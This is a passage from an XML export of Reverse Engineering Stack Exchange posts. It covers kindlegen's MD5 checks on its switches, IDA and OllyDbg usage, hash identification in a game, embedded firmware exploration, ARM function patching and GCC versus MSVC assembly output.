[EBX+EAX+D76AA478]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;00683904  ROL     EAX, 7&#xA;00683907  ADD     EAX, EDX&#xA;00683909  AND     EDI, EAX&#xA;0068390B  MOV     ECX, EAX&#xA;0068390D  NOT     ECX&#xA;0068390F  AND     ECX, ESI&#xA;00683911  OR      ECX, EDI&#xA;00683913  ADD     ECX, DWORD PTR SS:[ESP+3C]&#xA;00683917  MOV     DWORD PTR SS:[ESP+18], EBX&#xA;0068391B  LEA     ECX, [EBP+ECX+E8C7B756] &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;00683922  ROL     ECX, 0C&#xA;00683925  ADD     ECX, EAX&#xA;00683927  MOV     EDI, ECX&#xA;00683929  NOT     EDI&#xA;0068392B  AND     EDI, EDX&#xA;0068392D  MOV     EBX, ECX&#xA;0068392F  AND     EBX, EAX&#xA;00683931  OR      EDI, EBX&#xA;00683933  ADD     EDI, DWORD PTR SS:[ESP+40]&#xA;00683937  MOV     DWORD PTR SS:[ESP+30], ESI&#xA;0068393B  LEA     ESI, [ESI+EDI+242070DB] &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the MD5 hash for some arg strings are &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat dontapp.py&#xA;import md5&#xA;print md5.md5(&quot;-dont_append_source&quot;).hexdigest()&#xA;print md5.md5(&quot;-intermediate_only&quot;).hexdigest()&#xA;print md5.md5(&quot;-releasenotes&quot;).hexdigest()&#xA;&#xA;python dontapp.py&#xA;8465b444e1fe29390e2bb6b98b878829&#xA;f837e7c59aeba2cfa4a0ccb7c941e1b8&#xA;2368d23829ad7e680cd23385b9fcff6a &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;and hash is compared to blob bytes here&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note passing invalid args like -abracadabra doesnt land in this comparison function so it is possible there is a pre check like argstr len etc &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address                  Command                                       Comments&#xA;006832B0 whoknowswhat    PUSH    EBP                                   ; kindlegen.whoknowswhat(guessed Arg1,Arg2)&#xA;006832B1                 MOV     EBP, DWORD PTR SS:[ESP+8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a logging breakpoints yields this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-dont_append_source hash&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;006832B0  INT3: [esp+4] = 84 (132.)&#xA;006832B0  INT3: [esp+4] = 65 (101.)&#xA;006832B0  INT3: [esp+4] = 0B4 (180.)&#xA;006832B0  INT3: [esp+4] = 44 (68.)&#xA;006832B0  INT3: [esp+4] = 0E1 (225.)&#xA;006832B0  INT3: [esp+4] = 0FE (254.)&#xA;006832B0  INT3: [esp+4] = 29 (41.)&#xA;006832B0  INT3: [esp+4] = 39 (57.)&#xA;006832B0  INT3: [esp+4] = 0&#xA;006832B0  INT3: [esp+4] = 0E (14.)&#xA;006832B0  INT3: [esp+4] = 2B (43.)&#xA;006832B0  INT3: [esp+4] = 0B6 (182.)&#xA;006832B0  INT3: [esp+4] = 0B9 (185.)&#xA;006832B0  INT3: [esp+4] = 8B (139.)&#xA;006832B0  INT3: [esp+4] = 87 (135.)&#xA;006832B0  INT3: [esp+4] = 88 (136.)&#xA;006832B0  INT3: [esp+4] = 29 (41.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-intermediate_only hash&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;006832B0  INT3: [esp+4] = 0F8 (248.)&#xA;006832B0  INT3: [esp+4] = 37 (55.)&#xA;006832B0  INT3: [esp+4] = 0E7 (231.)&#xA;006832B0  INT3: [esp+4] = 0C5 (197.)&#xA;006832B0  INT3: [esp+4] = 9A (154.)&#xA;006832B0  INT3: [esp+4] = 0EB (235.)&#xA;006832B0  INT3: [esp+4] = 0A2 (162.)&#xA;006832B0  INT3: [esp+4] = 0CF (207.)&#xA;006832B0  INT3: [esp+4] = 0A4 (164.)&#xA;006832B0  INT3: [esp+4] = 0A0 (160.)&#xA;006832B0  INT3: [esp+4] = 0CC (204.)&#xA;006832B0  INT3: [esp+4] = 0B7 (183.)&#xA;006832B0  INT3: [esp+4] = 0C9 (201.)&#xA;006832B0  INT3: [esp+4] = 41 (65.)&#xA;006832B0  INT3: [esp+4] = 0E1 (225.)&#xA;006832B0  INT3: [esp+4] = 0B8 (184.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;--releasenotes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;006832B0  INT3: [esp+4] = 23 (35.)&#xA;006832B0  INT3: [esp+4] = 68 (104.)&#xA;006832B0  INT3: [esp+4] = 0D2 (210.)&#xA;006832B0  INT3: [esp+4] = 38 (56.)&#xA;006832B0  INT3: [esp+4] = 29 (41.)&#xA;006832B0  INT3: [esp+4] = 0AD (173.)&#xA;006832B0  INT3: [esp+4] = 7E (126.)&#xA;006832B0  INT3: [esp+4] = 68 (104.)&#xA;006832B0  INT3: [esp+4] = 0&#xA;006832B0  INT3: [esp+4] = 0C (12.)&#xA;006832B0  INT3: [esp+4] = 0D2 (210.)&#xA;006832B0  INT3: [esp+4] = 33 (51.)&#xA;006832B0  INT3: [esp+4] = 85 (133.)&#xA;006832B0  INT3: [esp+4] = 0B9 (185.)&#xA;006832B0  INT3: [esp+4] = 0FC (252.)&#xA;006832B0  INT3: [esp+4] = 0FF (255.)&#xA;006832B0  INT3: [esp+4] = 6A (106.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-12-10T08:33:15.873" LastActivityDate="2016-12-10T08:33:15.873" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14135" PostTypeId="1" CreationDate="2016-12-09T08:02:51.247" Score="1" ViewCount="147" Body="&lt;p&gt;I am looking at a statically linked ARM binary from a Busybox system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After IDA is done with the initial analysis, I end up with a lot of subroutines with these strange floating stubs. There are no references to get to them, and I can't see what function they serve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this simply an IDA issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tLwDe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tLwDe.png&quot; alt=&quot;Floating stubs&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2016-12-09T09:11:38.250" Title="Large number of floating stubs in one binary in IDA Pro" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14136" PostTypeId="2" ParentId="14135" CreationDate="2016-12-09T09:11:38.250" Score="2" Body="&lt;p&gt;Looks like there was a switch/jump table statement which was not recognized so there are no cross-references to these code fragments. Switch to text mode and look at the code before all of them.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-09T09:11:38.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14137" PostTypeId="1" CreationDate="2016-12-08T19:41:01.953" Score="0" ViewCount="123" Body="&lt;p&gt;I am a part of community dedicated to modding videogames. We've are having troubles identifying hash type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do we have: &#xA;A list of text strings and hex representations of their hashes - &lt;a href=&quot;http://textuploader.com/5e3xo&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://textuploader.com/5e3xo&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last 2 bytes are always 00 00 no matter how long is the initial string.&#xA;It doesn't look like a regular hash (ie md5), so I am asking for help in indentifying it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These hashes are used in fmdl files from Metal Gear Solid V.&lt;/p&gt;&#xA;" OwnerUserId="18369" OwnerDisplayName="unknown123" LastActivityDate="2016-12-09T14:43:29.430" Title="Finding out hash type having initial string and hash" Tags="|encryption|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14138" PostTypeId="2" ParentId="14137" CreationDate="2016-12-09T04:24:30.100" Score="1" Body="&lt;p&gt;With data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NAME                           HASH in FMDL&#xA;(UNRESOLVED NAME)              98 9F 16 BF A0 B8 00 00&#xA;SKL_000_WAIST                  6B B2 C5 36 06 ED 00 00&#xA;SKL_001_SPINE                  67 F6 4A 17 FD B2 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming the last two bytes are not part of the hash - as they're always &lt;code&gt;0x00 00&lt;/code&gt;, they really can't be - you're looking at 6 byte / 48 bit values.  There is &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_hash_functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;no well known hash function&lt;/a&gt; which defaults to 48 bits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be a custom hash function.  It could be an obscure hash function.  Neither of those answers helps you much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be a concatenation of multiple values, such as a 16-bit Cyclical Redundancy Check and a 32-bit Hash.  In a video game, where low-cost checks may be desirable at use time with limited resources and higher-cost checks may be desirable on a one-time basis, this is a reasonable possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can cause these values to be re-generated, then you may be able to determine this.  CRCs are very easily prone to collision; you can tweak the file in various ways and still end up with the same CRC.  Hashes, on the other hand, are far less likely to remain the same after a file modification.  If you can experiment with making small tweaks to the file and regenerating this value, you may gain useful insight.&lt;/p&gt;&#xA;" OwnerDisplayName="gowenfawr" LastActivityDate="2016-12-09T04:24:30.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14139" PostTypeId="1" AcceptedAnswerId="14150" CreationDate="2016-12-09T14:55:30.413" Score="1" ViewCount="2349" Body="&lt;p&gt;I try to use IDA to debug application with official Android ARM emulator. I set up debugger, installed APK and run application, it starts, writes &quot;waiting for debugger&quot;, and debugger writes that &quot;connection has been gracefully closed&quot;, and I see following message in IDA log: &lt;code&gt;ADB error: listener 'tcp:23915' not found&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application is for sure debuggable; I have sources and debug the same APK with Android Studio. I can also debug C++ code with IDA remove ARM on the same emulator and the same APK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why does Dalvik debugger not work?&lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2016-12-12T10:41:35.397" Title="IDA Dalvik Debugger doesn't work with official Android emulator" Tags="|ida|android|dalvik|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14140" PostTypeId="2" ParentId="14139" CreationDate="2016-12-09T16:36:00.557" Score="0" Body="&lt;p&gt;maybe this helps:&#xA;&lt;a href=&quot;https://github.com/strazzere/android-scripts/blob/master/shell/ida_android&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/strazzere/android-scripts/blob/master/shell/ida_android&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility could be, that you have serveral adb installations in your system and the ida debugger is using a different one.&lt;/p&gt;&#xA;" OwnerUserId="18010" LastActivityDate="2016-12-09T16:36:00.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14141" PostTypeId="1" CreationDate="2016-12-09T20:03:22.080" Score="1" ViewCount="943" Body="&lt;p&gt;In OllyDbg, is there a way to break when memory is allocated?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I would just find a malloc call and set the break there, but that's not always available in the case of packed/encrypted/obfuscated code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The memory map seems to only allow breaks on already allocated memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not Ollydbg, is there another tool that can do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Geoff&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've got my GREM, but I'm still pretty new to reversing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18372" LastActivityDate="2016-12-09T20:03:22.080" Title="OllyDbg: break on memory allocation?" Tags="|ollydbg|memory|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14142" PostTypeId="1" CreationDate="2016-12-10T00:35:24.357" Score="4" ViewCount="1985" Body="&lt;p&gt;Anyone want to help out a noob? (excuse my incorrect terminology/ knowledge)&#xA;I am venturing into unknown territory. The only experience I have is rooting/flashing firmware on my phone and installing OpenWrt/DD-WRT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Japanese digital media player from NTT called HB-1000 光BOX＋ I want to install OSMC (&lt;a href=&quot;https://osmc.tv/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://osmc.tv/&lt;/a&gt;) or something...anything that's not what is on there now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The media player is running Android 4.2.2, I think. &#xA;I can access the GUI and open some preinstalled apps but in the settings some options aren't available (like developer options). &#xA;I connected the device to my router and did a port scan. I couldn't find the SSH/FTP/Telnet ports open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NTT's website indicates that the firmware can be upgraded when the player is connected to the internet. &#xA;Maybe I can use Wireshark to help me figure out what's going on during a firmware update.&#xA;NTT's website states that downloaded files can't be saved to SD card or USB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;lk is used during the boot process&#xA;&lt;a href=&quot;https://github.com/littlekernel/lk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/littlekernel/lk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Specs:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Telechips TCC8930 Dual ARM Cortex A9 @ 1.2GHz ARMv7-A&lt;/li&gt;&#xA;&lt;li&gt;4GB NAND flash&lt;/li&gt;&#xA;&lt;li&gt;1GB DDR3-800Mhz RAM&lt;/li&gt;&#xA;&lt;li&gt;LAN 1000Base-T&lt;/li&gt;&#xA;&lt;li&gt;HDMI&lt;/li&gt;&#xA;&lt;li&gt;USB 2.0 (x2)&lt;/li&gt;&#xA;&lt;li&gt;SD card slot&lt;/li&gt;&#xA;&lt;li&gt;Wi-Fi 802.11n&lt;/li&gt;&#xA;&lt;li&gt;Bluetooth 4.0&lt;/li&gt;&#xA;&lt;li&gt;A reset and WPS button&lt;/li&gt;&#xA;&lt;li&gt;Green blinky LED lights (very important)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The circuit board is manufactured by OKI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some software from the chip manufacturer&#xA;(I'll add link)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found a website talking about a leaked Android SDK &#xA;(I'll add link)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to connect a (UART/TTY to USB) device to some debug or serial connector ports. There are 14 &quot;holes&quot; and I managed to connect to the correct ones to see something when I use Minicom on my Ubuntu 14.04 computer.&#xA;I don't see any sort of command line. If I hit a key on my keyboard, the media player reboots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can provide some pics of the circuit board and my terminal screen upon request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help or guide me to a better place for my question or somewhere I can learn about what's going on inside when I turn the power on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6sg4T.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/IDAE4jw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;/p&gt;&#xA;" OwnerUserId="18376" LastEditorUserId="53" LastEditDate="2018-01-18T19:40:34.943" LastActivityDate="2018-05-25T11:45:23.867" Title="Flashing firmware on an embedded device" Tags="|linux|firmware|android|hardware|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14143" PostTypeId="1" AcceptedAnswerId="14146" CreationDate="2016-12-10T01:08:58.457" Score="4" ViewCount="3180" Body="&lt;p&gt;I was reversing and then i've found a definition as COERCE_FLOAT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BLD6k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BLD6k.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float v28;&#xA;float v29;&#xA;&#xA;v29 = COERCE_FLOAT(&amp;amp;v30);&#xA;v28 = COERCE_FLOAT(&amp;amp;v31); // what is this?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've searched and&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11621/ida-decompiler-macro&quot;&gt;found&lt;/a&gt;  that it was a simple casting method, but really like it would be in C++?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the value of v30 pass to v29 without the pointer? i don't understand.&lt;/p&gt;&#xA;" OwnerUserId="17950" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2018-06-22T14:33:15.383" Title="what is COERCE_FLOAT in ida Hex-Rays' C++ pseudocode?" Tags="|ida|c++|float|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14144" PostTypeId="2" ParentId="12145" CreationDate="2016-12-10T19:06:51.243" Score="1" Body="&lt;p&gt;Assuming that this is indeed executable code with no data at all (please note that the .text section used to include things that nowadays go to .rodata), bytes FF and other Fx could also be parts of relative addresses for backward branches (loops).&#xA;If you see obvious striping, it suggests that the min. instruction size is likely greater than 1 byte, so Intel is probably out. Can you tell if striping is regular or has subpatterns? If the former, it is probably a RISC architecture (all instructions are 4 bytes long) like SPARC or MIPS, otherwise it is some kind of instruction set similar to PDP-11 (all instructions are of even length, but it varies). After you've narrowed the field, you'll have to do a word-based analysis, because in most architectures with word-based instruction format the opcodes aren't byte-aligned. &lt;/p&gt;&#xA;" OwnerUserId="18386" LastActivityDate="2016-12-10T19:06:51.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14146" PostTypeId="2" ParentId="14143" CreationDate="2016-12-11T13:10:17.587" Score="4" Body="&lt;p&gt;I assume it's just a simple cast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;v29 = *reinterpret_cast&amp;lt; float* &gt;( &amp;amp;v30 );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be easier if you'd share the generated assembly instead of the pseudo code.&lt;/p&gt;&#xA;" OwnerUserId="18397" LastActivityDate="2016-12-11T13:10:17.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14149" PostTypeId="1" CreationDate="2016-12-11T16:24:37.610" Score="4" ViewCount="11904" Body="&lt;p&gt;I decided to start learning Reverse Engineering and picked Ollydbg to start my path. Figured out how to install plugins, but I want to run a script for specific program to help me with the reverse. It seems like I need script loader. Tried installing Ollyscript, but that came up with error for missing .dlls&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Can you please recommend any other script loader for Olly and if possible with installation guide for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="18406" OwnerDisplayName="Honeywell" LastEditorUserId="2147" LastEditDate="2017-03-15T17:13:04.290" LastActivityDate="2019-07-25T20:11:56.917" Title="How to load a script in ollydbg" Tags="|debugging|ollydbg|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14150" PostTypeId="2" ParentId="14139" CreationDate="2016-12-12T10:41:35.397" Score="1" Body="&lt;p&gt;I found solution myself. The thing is easy. It is one more Android Studio bug. I found that when IDA tries to connect to Dalvik debugger, I see following message in log:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Ignoring second debugger -- accepting and dropping&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In not doubts no second debugger existed. Next, I found that this AVD doesn't work even with Android Studio and gives the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that other people have similar issue: &lt;a href=&quot;https://stackoverflow.com/questions/3735450/ignoring-second-debugger-and-service-hang-in-android&quot;&gt;https://stackoverflow.com/questions/3735450/ignoring-second-debugger-and-service-hang-in-android&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem disappeared when I rebooted Windows.&lt;/p&gt;&#xA;" OwnerUserId="18321" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-12-12T10:41:35.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14151" PostTypeId="2" ParentId="4635" CreationDate="2016-12-12T11:29:38.073" Score="1" Body="&lt;p&gt;I would like to add the following definition to avoid any doubts:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Decompilers are different from disassemblers in one very important aspect. While both generate&#xA;  human readable text, &lt;strong&gt;decompilers generate much higher level text, which is more concise and much&#xA;  easier to read&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Excerpted from &lt;a href=&quot;https://www.hex-rays.com/files/decomp_disasm.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;official hex-rays doc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion, the decompilers alleviate both problems compared to disassemblers: their output is shorter and less repetitive.&lt;/p&gt;&#xA;" OwnerUserId="18405" LastEditorUserId="18405" LastEditDate="2016-12-12T13:11:19.050" LastActivityDate="2016-12-12T13:11:19.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14152" PostTypeId="1" AcceptedAnswerId="14153" CreationDate="2016-12-12T13:00:11.177" Score="1" ViewCount="1225" Body="&lt;p&gt;I have an ARM binary in which I want to patch a function to always return 0.&#xA;My understanding is this means I need to set &lt;code&gt;r0&lt;/code&gt; register to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disassembly looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STMFD           SP!, {R4-R6,LR}&#xA;&amp;lt;lots of code&amp;gt;&#xA;LDMFD           SP!, {R4-R6,PC}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I overwrite all of this with a &lt;code&gt;mov r0, 0&lt;/code&gt; -&gt; &lt;code&gt;0000A0E3&lt;/code&gt; followed by a return (&lt;code&gt;mov pc, lr&lt;/code&gt; -&gt; &lt;code&gt;0EF0A0E1&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2016-12-12T18:39:47.610" Title="patch function in ARM binary to always return 0" Tags="|disassembly|arm|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14153" PostTypeId="2" ParentId="14152" CreationDate="2016-12-12T18:18:08.150" Score="2" Body="&lt;p&gt;As you stated, returning in ARM/Thumb is to set the R0 register and return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can patch the program a number of ways to do what you want. You can replace the top most instructions with &lt;code&gt;mov r0, 0&lt;/code&gt; and &lt;code&gt;mov pc, lr&lt;/code&gt; and leaving the remaining code as is would make it not execute those instructions after &lt;code&gt;mov pc, lr&lt;/code&gt; and just return to the calling function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV R0, 0&#xA;MOV PC, LR&#xA;// leave the rest as is, it wont execute&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also patch starting after  STMFD SP!, {R4-R6,LR} with MOV R0, 0 and then nopping all the way to the return statement LDMFD SP!, {R4-R6,PC}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STMFD SP!, {R4-R6,LR}&#xA;MOV R0, 0&#xA;// NOP ALL THE WAY TO:&#xA;LDMFD SP!, {R4-R6,PC}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also just patch starting after &lt;code&gt;STMFD SP!, {R4-R6,LR}&lt;/code&gt; with &lt;code&gt;MOV R0, 0&lt;/code&gt; and then replacing the following instruction with &lt;code&gt;LDMFD SP!, {R4-R6,PC}&lt;/code&gt; to return early making the rest of the code below it un-executed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STMFD SP!, {R4-R6,LR}&#xA;MOV R0, 0&#xA;LDMFD SP!, {R4-R6,PC}&#xA;// leave the rest as is, it wont execute&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13531" LastEditorUserId="13531" LastEditDate="2016-12-12T18:39:47.610" LastActivityDate="2016-12-12T18:39:47.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14155" PostTypeId="1" AcceptedAnswerId="14157" CreationDate="2016-12-12T20:18:30.913" Score="1" ViewCount="836" Body="&lt;p&gt;I have following C++ code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(){&#xA;&#xA;  int a = 1;&#xA;  double d = 1.2;&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and get the following assembly using GCC 6.2 -m32:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main:&#xA;        lea     ecx, [esp+4]&#xA;        and     esp, -8&#xA;        push    DWORD PTR [ecx-4]&#xA;        push    ebp&#xA;        mov     ebp, esp&#xA;        push    ecx&#xA;        sub     esp, 20&#xA;        mov     DWORD PTR [ebp-12], 1&#xA;        fld     QWORD PTR .LC0&#xA;        fstp    QWORD PTR [ebp-24]&#xA;        mov     eax, 0&#xA;        add     esp, 20&#xA;        pop     ecx&#xA;        pop     ebp&#xA;        lea     esp, [ecx-4]&#xA;        ret&#xA;.LC0:&#xA;        .long   858993459&#xA;        .long   1072902963&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and using MS CL 19:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_d$ = -12                                         ; size = 8&#xA;_a$ = -4                                                ; size = 4&#xA;_main   PROC&#xA;        push     ebp&#xA;        mov      ebp, esp&#xA;        sub      esp, 12              ; 0000000cH&#xA;        mov      DWORD PTR _a$[ebp], 1&#xA;        movsd    xmm0, QWORD PTR __real@3ff3333333333333&#xA;        movsd    QWORD PTR _d$[ebp], xmm0&#xA;        xor      eax, eax&#xA;        mov      esp, ebp&#xA;        pop      ebp&#xA;        ret      0&#xA;_main   ENDP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have several questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;what's  mean first three lines in GCC version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;lea     ecx, [esp+4]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;and     esp, -8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;push    DWORD PTR [ecx-4]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;MS CL version allocates 12 bytes, 4 for int and 8 for double: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub      esp, 12  // that's great.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why GCC allocates 24?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;push ecx&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub esp, 20&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18412" LastEditorUserId="4437" LastEditDate="2016-12-12T22:01:20.750" LastActivityDate="2016-12-13T06:58:19.343" Title="C++ to assembly, GCC vs CL" Tags="|disassembly|assembly|c++|disassemblers|gcc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
